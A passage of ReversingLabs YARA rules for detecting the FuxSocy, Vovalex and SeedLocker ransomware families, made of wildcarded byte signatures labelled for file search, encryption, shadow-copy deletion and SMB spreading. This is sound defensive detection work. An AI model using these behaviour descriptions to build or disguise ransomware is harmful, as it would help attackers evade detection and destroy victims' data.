?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 47 83 C6 ?? 3B BD ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 81 FB ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? 05 ?? ?? ?? ?? 83 EB ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 0F 85 ?? - ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 46 81 C3 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? - 89 9D ?? ?? ?? ?? 3B 32 0F 8C ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 33 CD 33 C0 5F 5E 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - - condition: - uint16( 0 ) == 0x5A4D and ( ( ( all of ( $find_files_v1_p* ) ) and ( all of ( $network_enumeration_v1_p* ) ) and ( all of ( $delete_shadow_copies_v1_p* ) ) and ( all of ( $encrypt_files_v1_p* ) ) ) or ( ( $find_files_v2 ) and ( all of ( $encrypt_files_v2_p* ) ) and ( all of ( $drop_ransom_note_v2_p* ) ) and ( all of ( $smb_spreading_v2_p* ) ) ) ) -} -rule REVERSINGLABS_Win32_Ransomware_Fuxsocy : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects FuxSocy ransomware." - author = "ReversingLabs" - id = "f4a45469-9d51-523f-8238-c7044f353cf6" - date = "2021-03-01" - modified = "2021-03-01" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.FuxSocy.yara#L1-L114" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8b3c04eb5d60fcc82e47cb8e78da0a98642666546d6799baef24b56926e3aceb" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "FuxSocy" - tc_detection_factor = 5 - importance = 25 - - strings: - $encrypt_files_1 = { - 83 EC ?? 53 55 57 89 54 24 ?? 8B 54 24 ?? 51 33 DB E8 ?? ?? ?? ?? 8B E8 59 85 ED 0F - 84 ?? ?? ?? ?? 8B 44 24 ?? 89 5C 24 ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B CB E9 - ?? ?? ?? ?? 53 53 FF 74 24 ?? 41 FF 74 24 ?? BF ?? ?? ?? ?? FF 74 24 ?? 3B C7 0F 42 - F8 2B C7 89 4C 24 ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 53 8D 44 24 ?? 50 57 FF 74 24 ?? - FF 74 24 ?? FF 15 ?? ?? ?? ?? 57 FF 74 24 ?? 8D 54 24 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? - 59 59 57 8D 44 24 ?? 50 FF 74 24 ?? 33 C0 39 44 24 ?? 53 0F 94 C0 89 7C 24 ?? 50 53 - 55 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 53 FF 74 24 ?? FF 74 24 ?? FF 74 24 ?? FF 15 ?? - ?? ?? ?? 53 8D 44 24 ?? 50 57 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 01 7C 24 ?? - 8B 4C 24 ?? 11 5C 24 ?? F6 C1 ?? 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 8B 44 24 - ?? 85 C0 0F 85 ?? ?? ?? ?? EB ?? 88 5C 24 ?? FF 74 24 ?? 8B 54 24 ?? 8B 4C 24 ?? E8 - ?? ?? ?? ?? 59 8B 4C 24 ?? 55 89 41 ?? FF 15 ?? ?? ?? ?? 8A 5C 24 ?? 5F 5D 8A C3 5B - 83 C4 ?? C3 - } - $encrypt_files_2 = { - 83 EC ?? 53 55 56 8B 74 24 ?? 8B C1 8B 36 57 89 54 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? - 8B F8 33 D2 8D 5F ?? 8B C6 F7 F3 33 C9 85 D2 0F 95 C1 89 54 24 ?? 33 D2 03 C8 89 4C - 24 ?? 0F AF CF 89 4C 24 ?? E8 ?? ?? ?? ?? 8B E8 89 6C 24 ?? 85 ED 0F 84 ?? ?? ?? ?? - 33 D2 8B CF E8 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 83 64 24 ?? ?? - 48 89 6C 24 ?? 89 44 24 ?? 74 ?? 53 FF 74 24 ?? 89 5C 24 ?? 56 E8 ?? ?? ?? ?? 83 C4 - ?? 8D 44 24 ?? 57 50 56 33 C0 50 50 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? - ?? ?? ?? 33 C9 85 FF 74 ?? 8B 54 24 ?? 8D 6E ?? 03 EF 8A 45 ?? 4D 88 04 11 41 3B CF - 72 ?? 8B 6C 24 ?? 8B 44 24 ?? 03 44 24 ?? 01 5C 24 ?? 89 44 24 ?? 8B 44 24 ?? 40 89 - 44 24 ?? 3B 44 24 ?? 72 ?? 8B 44 24 ?? 85 C0 0F 45 D8 53 FF 74 24 ?? 89 5C 24 ?? 56 - E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 57 50 56 6A ?? 6A ?? 6A ?? FF 74 24 ?? FF 15 ?? - ?? ?? ?? 8B D8 F7 DB 1A DB 80 E3 ?? 33 C9 85 FF 74 ?? 8B 6C 24 ?? 8D 56 ?? 03 D7 8A - 02 4A 88 04 29 41 3B CF 72 ?? 8B 6C 24 ?? 8B CE E8 ?? ?? ?? ?? 84 DB 75 ?? 8B CD E8 - ?? ?? ?? ?? 33 ED EB ?? 32 DB EB ?? 8B 4C 24 ?? 8B 44 24 ?? 89 01 5F 5E 8B C5 5D 5B - 83 C4 ?? C3 - } - $find_files_1 = { - 81 EC ?? ?? ?? ?? 53 56 57 8B BC 24 ?? ?? ?? ?? 8B F2 89 74 24 ?? 8B D9 85 FF 0F 84 - ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B D7 C1 E2 ?? 8B - CE E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 - 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D3 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 84 C0 - 0F 84 ?? ?? ?? ?? 55 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D - 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B E8 - 83 FD ?? 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8B 44 - 24 ?? 83 E0 ?? 74 ?? F6 84 24 ?? ?? ?? ?? ?? 75 ?? 85 C0 75 ?? F6 84 24 ?? ?? ?? ?? - ?? 74 ?? 33 F6 85 FF 74 ?? 8B 44 24 ?? FF 34 B0 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 - C0 75 ?? 46 3B F7 72 ?? EB ?? FF B4 24 ?? ?? ?? ?? 8D 44 24 ?? 50 53 FF 94 24 ?? ?? - ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 74 ?? FF B4 24 ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 8B 74 24 ?? F6 44 24 ?? ?? 74 ?? F6 84 24 ?? ?? ?? ?? ?? 74 - ?? 8D 44 24 ?? 50 8B D3 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 84 C0 74 ?? 83 BC 24 - ?? ?? ?? ?? ?? 74 ?? FF B4 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B - D6 FF B4 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? - ?? FF B4 24 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 55 FF 15 ?? ?? ?? - ?? 85 C0 0F 85 ?? ?? ?? ?? EB ?? 83 64 24 ?? ?? 55 FF 15 ?? ?? ?? ?? 5D 5F 5E 5B 81 - C4 ?? ?? ?? ?? C3 - } - $find_files_2 = { - 81 EC ?? ?? ?? ?? 8D 44 24 ?? 53 55 56 68 ?? ?? ?? ?? 50 8B D9 FF 15 ?? ?? ?? ?? 8B - F0 85 F6 0F 84 ?? ?? ?? ?? 8D 6C 24 ?? 8D 6C 75 ?? 33 C0 66 89 44 74 ?? 68 ?? ?? ?? - ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 59 E8 ?? ?? ?? ?? 83 C0 ?? 6A ?? 59 66 89 - 45 ?? E8 ?? ?? ?? ?? 83 C0 ?? 66 89 44 74 ?? 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50 - FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 84 C0 74 ?? 8D 84 24 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 83 64 24 ?? ?? 8D 44 - 24 ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 53 - FF 15 ?? ?? ?? ?? 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 - } - $find_files_3 = { - 81 EC ?? ?? ?? ?? 53 55 56 8B D9 57 8B FA 85 DB 74 ?? 33 D2 E8 ?? ?? ?? ?? 8B F0 85 - F6 0F 84 ?? ?? ?? ?? 57 56 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? - 83 C4 ?? 8B CE E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 C6 43 ?? ?? FF 15 ?? ?? ?? ?? - 0D ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 - ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? EB ?? 57 FF 15 ?? ?? ?? ?? 0D ?? ?? ?? ?? 50 57 FF - 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D7 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 84 C0 0F - 84 ?? ?? ?? ?? 8B B4 24 ?? ?? ?? ?? 80 7E ?? ?? 75 ?? 8B 15 ?? ?? ?? ?? 8D 8C 24 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? 8B E8 83 FD ?? 0F 84 ?? ?? ?? ?? 83 64 24 ?? ?? 6A ?? FF 35 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 84 C0 - 0F 85 ?? ?? ?? ?? F7 44 24 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 56 - 57 FF 15 ?? ?? ?? ?? 50 8B D7 8B CB E8 ?? ?? ?? ?? 59 59 89 44 24 ?? 85 C0 0F 84 ?? - ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? F6 44 - 24 ?? ?? 74 ?? 80 7E ?? ?? 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 56 FF B4 24 ?? - ?? ?? ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 59 59 EB ?? 80 7E ?? ?? 74 ?? 85 DB 74 ?? 83 7C - 24 ?? ?? 7C ?? 7F ?? 81 7C 24 ?? ?? ?? ?? ?? 72 ?? 80 3E ?? 74 ?? 6A ?? 8D 44 24 ?? - 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 44 24 ?? 50 FF 74 24 ?? FF 94 24 ?? ?? ?? ?? - 83 C4 ?? 85 C0 74 ?? 8D 44 24 ?? 50 55 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 55 - FF 15 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 - } - - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_* ) ) and ( all of ( $encrypt_files_* ) ) -} -rule REVERSINGLABS_Win64_Ransomware_Vovalex : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects Vovalex ransomware." - author = "ReversingLabs" - id = "dd4d7969-1afc-5e5d-9324-89f432523173" - date = "2021-03-12" - modified = "2021-03-12" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Vovalex.yara#L1-L81" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0c0f065224988bcba45b5aba2dceb080479b0bab235d544daabc3cae72e48318" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Vovalex" - tc_detection_factor = 5 - importance = 25 - - strings: - $encrypt_files = { - 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B BD ?? ?? ?? ?? - 48 89 BD ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 - 89 85 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 - 8B 9D ?? ?? ?? ?? 48 8B 53 ?? 48 8B 03 48 89 85 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 - 8D 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 83 F8 ?? 75 ?? 48 8B B5 ?? - ?? ?? ?? 48 8B 56 ?? 48 8B 06 48 89 85 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 8D 95 ?? - ?? ?? ?? 8B 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 8B 9D ?? ?? ?? - ?? 48 8B 53 ?? 48 8B 03 48 89 85 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? - ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 48 83 - EC ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 9D ?? ?? ?? ?? 48 89 9D ?? ?? - ?? ?? 48 8D B5 ?? ?? ?? ?? 56 48 89 85 ?? ?? ?? ?? 48 89 9D ?? ?? ?? ?? 48 8D 15 ?? - ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? - 48 89 8D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 9D ?? ?? ?? ?? - 48 89 9D ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 0D - ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 85 ?? ?? ?? ?? 48 89 95 ?? - ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 1D ?? - ?? ?? ?? 48 89 9D ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 89 8D ?? - ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? - ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 - } - $find_files_p1 = { - 48 89 C6 48 8D 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 C1 48 83 - EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 06 48 89 56 ?? 48 8D 0D ?? ?? ?? ?? 48 83 EC - ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 C1 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 - 46 ?? 48 89 56 ?? 48 8D 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 - C1 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 46 ?? 48 89 56 ?? 48 8D 0D ?? ?? ?? - ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 C1 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 - C4 ?? 48 89 46 ?? 48 89 56 ?? 48 8D 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 - C4 ?? 48 89 C1 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 46 ?? 48 89 56 ?? 48 8D - 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 C1 48 83 EC ?? E8 ?? ?? - ?? ?? 48 83 C4 ?? 48 89 46 ?? 48 89 56 ?? 48 89 B5 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 89 95 ?? ?? - ?? ?? BA ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 - } - $find_files_p2 = { - 89 C3 48 8B 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 03 48 89 53 ?? 48 8D 15 ?? ?? - ?? ?? BF ?? ?? ?? ?? 48 89 7B ?? 48 89 53 ?? 48 8D 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 - 89 43 ?? 48 89 4B ?? 48 89 9D ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 45 31 C0 - 4C 89 85 ?? ?? ?? ?? 4C 8D A5 ?? ?? ?? ?? 49 C7 04 24 ?? ?? ?? ?? 49 8B 14 24 48 89 - 95 ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? 4C 8D AD ?? ?? ?? ?? 49 B9 ?? ?? ?? ?? ?? ?? ?? - ?? 4D 89 4D ?? 49 8B 4D ?? 48 89 8D ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? 4C 8D B5 ?? ?? - ?? ?? 4D 89 06 49 8B 16 48 8D 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? - 45 31 C0 41 3B C0 7E ?? 41 BF ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? - 4D 69 D7 ?? ?? ?? ?? 4D 89 11 4C 89 D2 48 8D 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? - ?? 48 83 C4 ?? 45 31 C0 41 3B C0 79 ?? 4C 89 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 - C7 01 ?? ?? ?? ?? 48 8B 01 48 89 85 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 8D 8D ?? ?? - ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 85 C0 7E ?? 48 8B 9D ?? ?? ?? ?? 48 B8 - ?? ?? ?? ?? ?? ?? ?? ?? 48 F7 EB - } - - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) -} -rule REVERSINGLABS_Win64_Ransomware_Seedlocker : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects SeedLocker ransomware." - author = "ReversingLabs" - id = "efa3dd2e-faf4-5882-aef8-85189e65f0f9" - date = "2020-06-26" - modified = "2020-07-15" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.SeedLocker.yara#L1-L91" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a478efcfb03e3eeebe72d9a71629456cf061c3c779fbdde99539854caf8c7c33" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "SeedLocker" - tc_detection_factor = 5 - importance = 25 - - strings: - $search_files = { - 48 89 5C 24 ?? 48 89 7C 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 8B - 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 48 8B F9 4C 8D 05 ?? ?? ?? ?? 4C 8B C9 - BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8D ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? - 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF - 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 44 24 ?? 4C 8B CF 4C 8D 05 ?? ?? ?? ?? 48 89 44 24 - ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? F6 44 24 ?? ?? 48 8D 8D ?? - ?? ?? ?? 74 ?? 48 8D 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 - ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? - ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 7B ?? 49 8B E3 - 5D C3 - } - $encrypt_files_p1 = { - FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 63 C8 48 8D 85 ?? ?? ?? - ?? 48 8D 04 48 48 83 C0 ?? 66 83 38 ?? 75 ?? 45 33 FF 4C 8D 05 ?? ?? ?? ?? 66 44 89 - 38 45 33 C9 48 83 C0 ?? 4C 89 7C 24 ?? 48 89 05 ?? ?? ?? ?? 33 D2 48 8D 05 ?? ?? ?? - ?? 44 89 7C 24 ?? 33 C9 48 89 05 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 D2 45 8D 47 ?? 33 - C9 FF 15 ?? ?? ?? ?? 48 8B F0 48 85 C0 74 ?? 48 8B 1D ?? ?? ?? ?? 48 81 C3 ?? ?? ?? - ?? EB ?? 48 8B CB FF 15 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B D3 48 8B CE 44 8B F0 FF - 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B C8 - FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 41 8D 46 ?? 48 63 C8 48 8D 1C 4B 66 44 - 39 3B 75 ?? 48 8B CE FF 15 ?? ?? ?? ?? 33 D2 8D 4A ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 - 83 F8 ?? 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 48 8B 1D ?? ?? ?? ?? 48 81 - C3 ?? ?? ?? ?? EB ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B D3 48 8D 4C 24 ?? 44 8B F0 FF - 15 ?? ?? ?? ?? 85 C0 75 ?? 44 8B 44 24 ?? 8D 48 ?? 33 D2 FF 15 ?? ?? ?? ?? 48 8B F0 - 48 83 F8 ?? 74 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 41 8D - 46 ?? 48 63 C8 48 8D 1C 4B 66 44 39 3B 75 ?? 48 8D 54 24 ?? 48 8B CF FF 15 ?? ?? ?? - ?? 85 C0 75 ?? 48 8B CF FF 15 ?? ?? ?? ?? 33 D2 48 8D 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 48 8D 35 ?? ?? ?? ?? 48 - } - $encrypt_files_p2 = { - 8D 8D ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? 44 8D 42 ?? E8 ?? ?? ?? ?? 4C 8B 05 ?? ?? ?? - ?? 48 8D 8D ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 4C 89 BD - ?? ?? ?? ?? 44 8B CB C7 44 24 ?? ?? ?? ?? ?? 45 33 C0 48 8D 8D ?? ?? ?? ?? 33 D2 FF - 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 48 8D 44 24 ?? 45 - 33 C9 45 33 C0 48 89 44 24 ?? 8D 53 ?? 33 C9 FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? - 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? - ?? 3D ?? ?? ?? ?? 75 ?? 44 8B CB C7 44 24 ?? ?? ?? ?? ?? 45 33 C0 48 8D 8D ?? ?? ?? - ?? 33 D2 FF 15 ?? ?? ?? ?? 48 8B BD ?? ?? ?? ?? 48 85 FF 0F 84 ?? ?? ?? ?? 48 8B 0D - ?? ?? ?? ?? 41 8B DF 48 81 C1 ?? ?? ?? ?? 45 8B F7 FF 15 ?? ?? ?? ?? 85 C0 7E ?? 49 - 8B F7 48 8B 05 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 0F BE 8C 06 ?? ?? ?? - ?? 44 0F BE 8C 06 ?? ?? ?? ?? 89 4C 24 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 - 48 8D 8D ?? ?? ?? ?? 44 8D 42 ?? E8 ?? ?? ?? ?? 8B CB 48 8D 76 ?? FF C3 41 83 C6 ?? - 88 84 0D ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 81 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 44 - } - $encrypt_files_p3 = { - 3B F0 7C ?? 48 8D 35 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 45 33 C9 48 89 44 24 ?? 48 8D - 95 ?? ?? ?? ?? 44 8B C3 44 89 7C 24 ?? 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? - ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 4C 8B C3 E8 ?? - ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 45 33 C9 C7 44 24 ?? ?? ?? ?? ?? - 48 89 44 24 ?? 33 D2 48 8D 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 48 89 44 24 ?? 45 8D 41 - ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 41 8B DF 44 39 BD ?? ?? ?? ?? 76 ?? 8B 